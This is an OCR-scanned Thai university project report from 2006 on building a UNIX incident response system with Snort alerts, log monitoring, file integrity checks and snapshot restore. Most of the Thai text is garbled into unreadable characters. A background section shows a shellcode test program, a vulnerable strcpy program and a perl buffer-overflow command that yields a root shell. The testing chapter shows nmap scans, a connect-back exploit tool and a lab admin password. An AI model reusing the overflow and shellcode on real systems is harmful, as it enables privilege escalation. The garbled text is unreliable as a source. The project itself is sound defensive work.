dninnemyanane wazeouindimanszy

yallunaunevanesilaanrazifinnnuasasie

Incident Response System

w1330 doundy
- d ”s - o
HpHUNT Aumadrenuun

L
HIWOEH YT NaR

UILLE N .

e —
manzdion... o33 b 113 2110

.............................

%u,xﬁ'au,‘i‘].ﬁ..z.ﬁﬂ-...zm.. deveerna,

ﬁmmﬁﬂuiﬁtﬂudmﬂdqmnnﬁnmmuﬂﬁ'ngmﬁqqﬁmmmmumﬁmﬁn
mnInInninenfianes
A ININTTNMITNS
aonfumalulognazenmndudigammamanszis

N.A.2549



4 a a v
16111'1!“1‘”1 aouTHBINBIRANMIAzINAR N ann

Incident Response System

wiel32730 Ho Nty
e d o - o
M giung Aamadng

- <
HIBBSA 3T NTA

‘ L
pw1senlIinmn

ar [Y) o
2.0AIAY IWITHNINM
5
HA.FHT MIRgIITH

o5yl almn

z 4 "
Piggniinuiiidutnmilavenfingmminganiggnimnssumonsiuda
=T} o J
mnIdnInssuneuiane’
Az inINIsNMONS
roniumaluladinszeoundudgammamanizita

N.A.2549



USmyaiinus Umsanu 2549

Ma3s ronssunouiuaad

aazdrnisumnani anfwma Tulatwszvoundudgunnsmanszli
509 Gl;ﬂhlmﬂﬁmauﬁuaasﬁ@sﬁﬂn1iazgﬁﬂﬂ'n:uﬂaaﬂﬁ'ﬂ

Incident Response System

Adan

1. Wwl57550 HaundY sHalszdRg 46010430
2. wwgiiuni dumnaiaouui sWatlszdda 45010588
3. 100TH WA NAR shalsed1ay 46010907

OGUH'/ 812155 ENE

o o w Pl
(D1170DAIAT 'J‘]f‘§$QWQ‘H)

PR V¥ V-,

P
115N UsA1N

' g o
(ﬁsﬁ’wﬁ'lﬁﬂ‘i’lmﬁﬂ‘ﬁu’l ’H»i'klfj')ﬁiﬂ!)

a2
219150NU5nE

(@1015051iydy A3n1A)



zuunewumsﬁtﬁnmmssﬁﬂmmﬂnanﬁu

w1o1l57558 Ho und Y 46010430

Weniung Aumadaouuy 46010588

WIWBTA 1TA AR 46010907
o o " o (A
911500A510% Tz 919150MU5 01
o S R '
LT YIH 2990 15onlsAEs
¢ e ow = A 1
9191305 UYTY AN 819150M15A115 20

Aprsfinyl 2549

L g ]
unnaao
= 3/ a ar = o a oo -~ da a =
ﬂﬂlllﬁﬁi]ﬂ'iﬂ‘H'lﬂ'J'liJﬂflﬂﬂﬂUﬂ'l\ﬂﬂﬂiJ‘W'Jmﬁ]ﬁ'ﬂﬁﬂ!ﬂﬁlﬂﬂiﬂlﬂ ﬂUQllIﬂﬂ1ﬁLﬂﬂﬂ"lﬁ
P 9 n’: o Qs sy A 9 = 3 1
ﬂ&’LiJﬂ‘lﬂ ﬂzuu5$U1J5ﬂH’lﬂ?’]lﬂlﬂ@ﬂﬂUTﬂ\ﬂﬂﬂ“W?!ﬂE‘]Tﬂﬂ ADUATYUANUNTDURND
& 1 3 ' 1 [TV o 0 4 $¥I1 o
NI AAINDIT ﬂQﬂ@‘HH‘ﬂ‘l TEHIN !.I.ﬂ$'1"if1@lﬂﬂﬂ15ﬂ$&1lﬂﬂ'3111‘1]ﬁﬂﬂﬂﬂ lﬁﬂﬂ'i'l‘ﬂ‘lﬂ']’lmﬂ
a 4y o 9 P Y a A ¥
AT ASIHAUULED ﬂ']'j‘lﬂ'lﬂzll'i"lﬂlﬂﬁ ﬂﬁg‘ﬂllﬂflﬁﬁclﬂli'lﬁ Llﬂ$i]$1’|1ﬂ"|'5Qﬂ‘l—J§$’U'U1‘Hﬁ']1J']'§ﬂ

masuanldedils sauinissusumdng o Aedofazifinniulasady

:rd S v o8 A a =
Iﬂ'i\N']‘H‘H!"JJ‘HIﬂ'iQQ11!11’11]71HﬂﬁﬂB"ILLu'J‘VINﬂTSFl@UﬁHENLi.IE]Lﬂﬂﬂ'l'iﬂmn@ﬂ')’lll

a’ ] L4 £ e S
Pavasplunnaamsgmsnl Teaduszouljiiamsyiing



INCIDENT RESPONSE SYSTEM

Mr. Parivat Pongbhaesaj

Mr. Phumin Tantasatityanont
Mr. Athit Worasawad

Mr. Akkradach Watcharapupong
Asst. Prof. Thana Hongsuwan
Mr. Tanunchai Tripak

Academic Year 2006

ABSTRACT

45010450
45010588
46010907
Advisor
Co-Advisor

Co-Advisor

Even though the computer sceurity system is now much more powerful than the old days.

It cannot be considered the perfect system anyway. Since the problems still exist, the reliable

security system has to be ready for the unexpected events to occur. The system should be able to

handle those at the time intrusion taking plaee as well as before and after the affairs in order to be

able to make an incident response to such an event. The incident respons¢ mentioned includes

knowing what the intruder has done to the system, detecting the effects to the system, recovering

the system and gathering the information due to the legal issuc.

This project purposes presenting a new methed in computer security aiming at the

effective way to response when there is an intrusion. All is done under UNIX environment.
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2.10.5.4 Shellcode

o o A : Y g ¥ Y Vo
Shellcode 1AM IFSuNN M 1ATOI (machine code) NUBNNGS Led A0 1A

A anan lagdauuinazoglugiliavg e 16

Jishellcode. ¢

«liar shellcode[] =

"L lcos B oadb sbon 1T wodh wen”
e T NS ARG N T AN OB L T L NS D N ER L NG NOTUNEB O 6 O O vl
N EES LBy e w0 s d sA L N0 xedh st v edbh vR e e dit v 4D e d”

Mok ves wdeyaf ittt Jbindsht

veept maind) |

1t ret;

ret = (int #)&ret + 2;
(*ret) = {int)shellcode;
}

b4
ﬂ?ﬂuuﬁﬂﬁCompﬂeUﬁﬁﬂﬁgﬁﬁﬁﬁﬁ

[root@localhost lancelot]# 1s

el overflow.c shellcode.c

[reor@localhost lancelot]# vi shellecode.c
[root@localhost lancelot]# ls

crerides pverflow.c  shellcode.c

[rootdlocalhost lancelot]# gcc -o shellcode shellcode.c
shellcode.c: In function "main’:

shellcode.c:8: warning: return type of 'main’ is not “int’
[roctdlocalhost lancelot]# chmod u+s shellcode
[reot@localhost lancelot]# su darkbasis
[darkbasis@localhost lancelet]$ ./shellcode

sh-2.05b# id

uid=0(roet) gid=500(darkbasis) groups=500{darkbasis)
sh-2.05b#
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. ¥
nazdlud vt doasns 18 mip 3l

#include <stdio.h>

unsigned tong getosp(void){
—asmn__("novl Lesp, %ueax"),;

}

int main(){
printf("Stack peointer (ESP) @ Dx=xin', get_sp());
}

A 3 . 3 )
WS compile uazdszuiamnae 161 ESP sonw

fdarkbasis®localhost lancelot]$ . /get_sp
Stack pointer (ESP) : Oxbffffg9ls

¥ )
wvmiuinada T)sunswimi inantsduvastiulas
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Jibuff.c
sinc fude ostdio, he
icbomain o arge, ~hoaot oargv[ ]

by buf[400];
strepy(buf,argv[1]);
}

PINHUIIMT  compilettazilszuanalasidnisiu NOP $14 260 muAIL Shellcode

gamuldmdumiaves csp i lviRamsduveaios lUviui Erp

[darkbasis@localhost lancelot]$ ./buff “perl -e "print "\x00"x260'; ‘perl -e 'print "xBLA\NCO\X3L
Axdb\xbOAN17\xed\ B0 Xeb X1 WX 58y X8 X7 6 X0EL X 31\ xcO\XBEY X464, x0T\ X8I X6\ X0c\ xb0\x0b\x B9 x£ 3\ x8dN
xdeANOBN B X 56\ 0\ xcd\ xBOY 31\ ndb i nBO \ ndB x40 xed \ kB0 \ xes xde AXEfA nf fix T Bin/sh™ " “perl -e 'p
rint "\xfO\xffxLfA\KIB"x51" ;"

sh-2.05b# id

uid=0{roct) gid=500(darkbasis) groups=500(darkbasis)

sh-z.05b%

= ] ] o o
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4.2.1 EMImaoey
I.ﬂﬂﬂﬂdﬁﬂﬂﬂﬂﬂgﬂsewcrﬁﬁﬂé&ﬁzﬂﬁﬁﬁJﬁuéuqﬂﬂTNﬂgﬁﬂiﬂ
2. NAABIYNINN A 1A DAY
3. arvavynszuuawnintesiula
4.2.2 NOMINATOY
VINMINATO WL

1) wanod munuweialaeld llsuniy nmap

C:\Documents and Settings\Mayhendamap ~P@ 161.246.5.32

;qrting Nmap 4.28 { http://insecure.ory ) at 2067-01-2% 18:54 Dateline Standar
ine
Interesting ports on isagdZ.ce.knitl.ac.th (161.246.5.32):
ot shown: 1693 closed ports
PORT  STATE  SERVICE
21/tep  open ftp
2/tcp open ssh
179 /¢ccp Filtered hyp
8737tcy open rsync
MAC Address: 8B:8C:29:14:98:47 (UNvare?

map finished: 1 IP address (1 host up} scanned in 27.735 seconds

C:\Docunents and Settings\Mayhen?
o o ' '
N 41 uasmsaunuwesamenives Ing
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reure i Ahumesserure s Snort

Bend B
Listoening

4 Tawarszuuilosdu

Signatin
BLEEDIMG-EDGE STAM NMAP -f-s8

BLEEDING-EDGE SCAM NWAP -s3

BLEEDING-EDGE SCAN NMAP -1-55
BLEEDING-EDGE SCAN NMAP 5§
BLEEDING-EDGE SCAN NMAP -T-53
BLEEDING-EDGE SCAN NMAP -55

" BLEEDING-EOGE SCAN NMAF -T-58

BLEEDING-EDGE SCAN NMAF -55
BLEEDING-EDGE SCAN NMAP -8

“BLEEDING-EDGE SCAMN NMAP -55

BLEEDING-EDGE SCAM NMAP -f-58

‘BLEEDING-EDGE SCAN NMA.P 58

Tunestamp
2 3007-01-28 185405
2 ' 3007-01-28 18.54.05
2 2007-01-29 18 54:05
2 7007-01-28 18°54.05
2 2007-01-29 18:5404
2 2007-01-2918:54:04

7 2007-01-7918:54104
2 2007-01-29 13:54 04
2 2007-01-29 18,54:04
2 2007-01-28 18:54.04
2
1

2007-01-29 185404

© 2007-04-29 18.54.04

Ip_sowmce
161.246.5.20:45807

|161.246.5 20.45607

161,246 5 2045811
161.246.5.20:45818

161,246 5 2045910
S161.246.5.20-45810
151.246.5.20:4581 7
$161.246.5. 2045009
'161.246.5.20:45800
161 2465 52:479

161.246.5.20 45809
161.245.5.20:45808

319 4.2 BuiBeuhiimsihimunuwnesa

T1l5un30 Snort 194

MilwHrm Sl

4.2 Rack Hrifice Fee :
ssell Santford - xorebBLigq

Packel .
Reetoen Addeess:
agptinyg Packet .
ring to Send
Pavket .
Yo Conpeset,

Fuil

liny

Back

Bxhfffebad

Packet to 161,

Shellonde .,

- MidwHemt | lestd

A4 Y

ar Buemole Fuploil
RN

Fatehing Shellcode 1o Connect back o 17230724 .34 .
Creating Fuild
iny

U 4.3 fdayngaruTysunsy Snon

3
v

-] @

HUNINN 1A

£l 3

“y_destintion
1612465 32667

[181.245.6 32687
164.246532:178
S161 246.532179

161 245.5.32:6105

161.245.5.326105
61,2455 374067
161.246.5 324567

161.246.5 32.68 )
161.246 5.3268

161.246.5.32:479

1 e ' L] d‘ 94 r ¥
3) NARBIYNINHIUMANG 098 Tnerae Tninm 1a lasasamiaes Tndves

1ht. 240!

Type
' tcp

cp

e
tep

tp
t.cp
tcp
tep

tep
tep
tcp

t€tp
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(] Signatm ¢ Priniiny Timestunp _soce Ip_destination  Type
ICMP Destination Unreachatle Porl Un-eachable 3 2007-01-28 184333 161 246537 161246520, icmp
(spo_bo} Back Orifice Traflic detecied 2007-01-2918:43:33 161.245.5.20:4778 151,245.5,32;9@9@@
{CMP Destination Unreachable Port Unreachahle 3 2007-01-2318:38:13 161.2465 32 161 245_5.20: icmp
(350_bo) Back Orifice Trafic cetected 2007-01-28 18'28:13 1612465204736 161 24652263  udp
ICWP Desilinalion Unreachable Port Unreachable 3 2007-01-2.9 18:34.45 161.246.5.32 161.246.5 2[]5 dicmp
(spo_bo) Back Orifice Trafic detected 7007-D1-2818:38:45 161 246.5.20:4706 161 246 5 32:9000 udp
.ICM.F.’.Béstinalinn.L.Jnreacnahle Port Unreachable 3 2007-01-28 178234'03 161.246.5.32 7161 246520 ithp
{spo_ha) Back Orifize TraMc detectse ' 2007-01-2818:34:03 161.246.5.20:4606 161.245.5.32:9000 udp

: L
M4 sziwBounazawnindloadld
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4.3 MINATOUN 2 NATBILIZVUATIVIUNOD
° o ¥ o J
1. naapayimaynyn e lvded Inimesedanas
1 @ ¥
2. asasudnguuannsotesiu’la
= - ' A v 3
3. nanpsnaieuniad file LA R NI TUUA NS oA o 14
4. nannIAswasuANUgNAesuss Mahszuuansoavadeyld
4.3.1 Nam1INATEY
INNTINAABUNN
3 ' o W F- ] 1 9t ~ a
1. tdyngneusadiszunfesdudynmansotiout WMusgwenoiiazonsu

P LT ¥ o o Y o o o o
antvosannd laslaye s Inamaredduss lasdsmsinivies lotes 1dad
IPsecd istmprwatsontt . 41 _

d' o e = Qd
JUi4.5 wornuihmsenszdudntuoanueslao1¥ exploit code

2. arngeugMzvvansotlosnulduazihdyninddoiogls Taseeidyn

Ed o

b4
inlvoz lslumsyngnszus

. R E
Broes preda st L R R LR I 13 RN EIN PP Ay 1t mEtoe B e e T g
Systam Loy
Inedex Prag Msy ThneStanp Priotity  Msg  Facily !_‘"

!Iligg o5 i

I 3 .
2007-01-29 info

41147 sshd sshd|3858] (pam_unb session apened for user root by (uld=0) Psacd auth

41141 sshd sshd|3BSY]: (pam_unb) session opened for user root by {uid=0} 27007-01-29 infa IPsecd auth
#1140 sshd 2::;'385?' Actepted publiskey for ool fom M7 18 24 128 PO 1BS3  pnpr gy 79 ife IPsecd autn
43130 sshd :::gBBST] Accapied publickey for rool from T 172 15.24.128 pon 1853 2007-01-20 info Pgacd autn
41138 sshe 55hd|3854] (pam_uni} session opened for usér root by {uid=0) 2007-05-29 info IPsec4 auln
41137 ssha $5hd[1854] (pam_unix) session opensd for user roct by (uid=0) 2007-01-29 info Psecd auth
41136 sshe z:EgDBSE] Accepted publickey for rool from MT172.16.24.129 port 1857 2007-01-28 info Peacd auth
£1135 ssha sshd|3852] A¢cepted publickey for root from M172.16.24.1249 port 1852 2007-01-29 infa Psscd auth .

meh?

a6 szuvamusoasvaeumsyngn 14
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3. Ayngnweeualaunlas file

3.1 naasdlpomatla cditor IND write file

 IPsecd :/etcs/snort vim test

|
3.2 Tu file Tdanamso0g

f 1 change for test kernel module

3.3 naaedlaamudea nuasly
1 change for test kernel module

Z helln world test test test test

4. szvvannsansiylahdyninmiies lsfu IWd Tnushes lsiha

himlex Proy Msg Timestang Priotity  Msyg  Facilty
40636 Kernei kernes feteishon est swi was chmod o 644 by D 2007.01-28 warmning IPsecd kem
40835 kernei kerne) Jeteisport Jesf ewp was chmod {0 644 by 0 2007-01-28 warning IPsecd kem
40834 Kernel karnel Jete/snori test swp was removed by D 2007-01-28 warning |Psecéd kemn
40833 Xernel kerne!: jete/snori test.swp was removed by 0 2007-01-29 warning IPsecd kemn
40832 kemnel kemel: fete/snort tast swpx was removed by 0 2007-01-29 warning iPsecd ke
40831 kemal kernel: Jeic/snar tast swpx was remaved by 0 1007-01-29 warning tPsecd kern

- @ A = a ™
JUN4.7 kemel dansonsaedsu Idiielinsdouiy fite
9 ) 9 o A 1 d. ] L. Fd 3
5. 14 damveannugnae e Inaiieas 1 Mfile Antsani ldiugn
nlasulasvsanlamsanlamvuidels

File hireqmity :
Page : {1}

L1} Fibe /D actory Noane Erior Detall Tine
1 P TR PR This fila has been madified 2007-D1-28 14:24:15

g 4.8 14 Tilsunsudmuan file integrity

4.4 Aoy 3 nageumidiuizyy

o

1. 1N17 snapshot file path ‘ﬁ’c"hﬂi;y

2 msdiussunves i launAounlag
4.4.1 HOMINATBY

ANMITNANDUNUT

° A i o o
1. IM9A8n path N92K1015 snapshot Udconfig 1A NsiNU vz ay
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MNSe
A\

Snapshot Management :

Path List -
Mo, Path name Status Action
1 . Stoped »
2 PR RPN Working .
Path {dd |

Snapshot Configure
Keep snapshot (Main Step) :
Aound Aeuse

0 =~ Yeas 0 v  Months 5 w Days

Keep snapshol avery

0 v Yeas 0 ~ Months 1 v Days

Keep snapshol [Sub Step] :

Aound Asuse

[ Davs 3 w  Hours

Keep snapzhot every

D -~ Hous 2z w  Minules

incident Rasparne Group @ 1SAG | All Right Bezsrved

jil‘lql 4.9 1131 snapshot

2. ns9apug N5z 1N sbackup nianld

gﬂ'ﬁ 4.10 file 1 1913 snapshot
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Recovery:
File Tia
rateisnorftest 200701122140
Fie
Select Time Year ary ~ Month any « Day any =~ Hour any -« Min any ~

()| e |

| Restore |

Icidean Response Gaonp 4 ISAG . All Right Reserved

1 411 vimisidien file 11077 restore

3 o ¥ -
4. asvaeug IWa ldhinsdfuszun 1desagndes

iResﬁEste

[ERRC RIS T Y U RE § T 5 1 PR ER ST R J: - s ] e Raw Bl brnwead | e

Recoveny.

Recovery Process has been sticcead.

Recovery Flilg « fatc/snarifte st
Selagted Tinwe : 200702122042

Incideint Rasponse Giou - 1SAG . Al RigIn Réservad

Juid.12 M5 restore 183 vy TRl

g | B b
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418021B0AYDA Virtual Machine UARZIATOY

1. 1584 ResponseWall

=} A a9
- Nﬂ1§ﬂlm‘” 2 lusemwua [P Address L“ﬂu 172.16.24.130 LuBE 161.246.5.32

2. 19389 LogServer

F= | & [
- fimiauay 1 TuFadmun IP Address 1554 172.16.24.128

13197 1%914 menitor 3210

1 o & '
NFHINE Monitor 5201 Taetd 19 hps://172.16.24.128:7777 Tasnowd 1y

3 'Y o = 3 v 3 . .
ﬂmﬂm'ﬁﬁﬂﬂﬂmmqnU1lﬂ‘€luiﬂﬂﬁlﬂf Username; admin £10¢ Password: i#response

- »  Enter username and passward for "Admin only" at https:/f172.16.24.128:777
User Name:

i

Password:
e R

Use Password Manager to remember this password.

L oK ] I Cancet

: [~ o
U1 wihdendudnszyu
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1iH1 Home %¥033511

iResp@\nse

Index

38822
388

38820

38919

/N7
3BI6
38315
3B31a
38313
38912
3891

malfau

CAON
CAON

[ T U DS ST T l- pie

Prog Mg

CROM[8538]: (pam_unix] session choted for ueer root
CRONIB535Y: (pam_wrex) session chosad (s ueer root

SUGSR/SRIN/CRON TUSA/SBIN/CRONIERAD] [root) TMD [ustbindphe

/USRSBIN/CRON

CRON
ERON

Fean e finprolect main/update 10 phpt

AUSR/SBIN/CRONIB540}: froat) CMD (Ausr/bin/php
Pyl Aonsiimipclect/man/ update_db php)

CAONIES39]; [pam_unix} session opanad for user reat by fud=0)

CAORB539} {pam urix} session opened for user root by (ic=0)

sshd J4E5} [pam_unin] session opened for user rool by |uid=0]

sshd[34E5): [pam_unixn| session opened for uses root o fed=0]

s3hd[3463] Accepled publickey for -aot from Ml 172.16.24.126 port 4078 sshZ
55ha| 3463} Accepled publickey far roat from I 172.16.24.128 port 4076 ssh?
sehd{3460} [pam_uri] session opered for wser rool by {uid=0)

sshd[3460}: [pam_unix) sessien opened lor user toat by (uid=0}

Signatura Prionity Timestamp
ICMP Destnastion Unieachatle Port Unreachable 3 2007-01-26 20:44:09
ICMP Destination Urieachskle Port Unreachabls 3 2007-01-26 20:44:09
ICMP Destinstion Urizachable Port Linreachable 3 2007-01-26 2043 02
ICMP Destination Unreachahie Port Linieachable 3 20070126 2004207
ICMP Destination Unreschable Port Urieachable 3 200701-25 20:42:07
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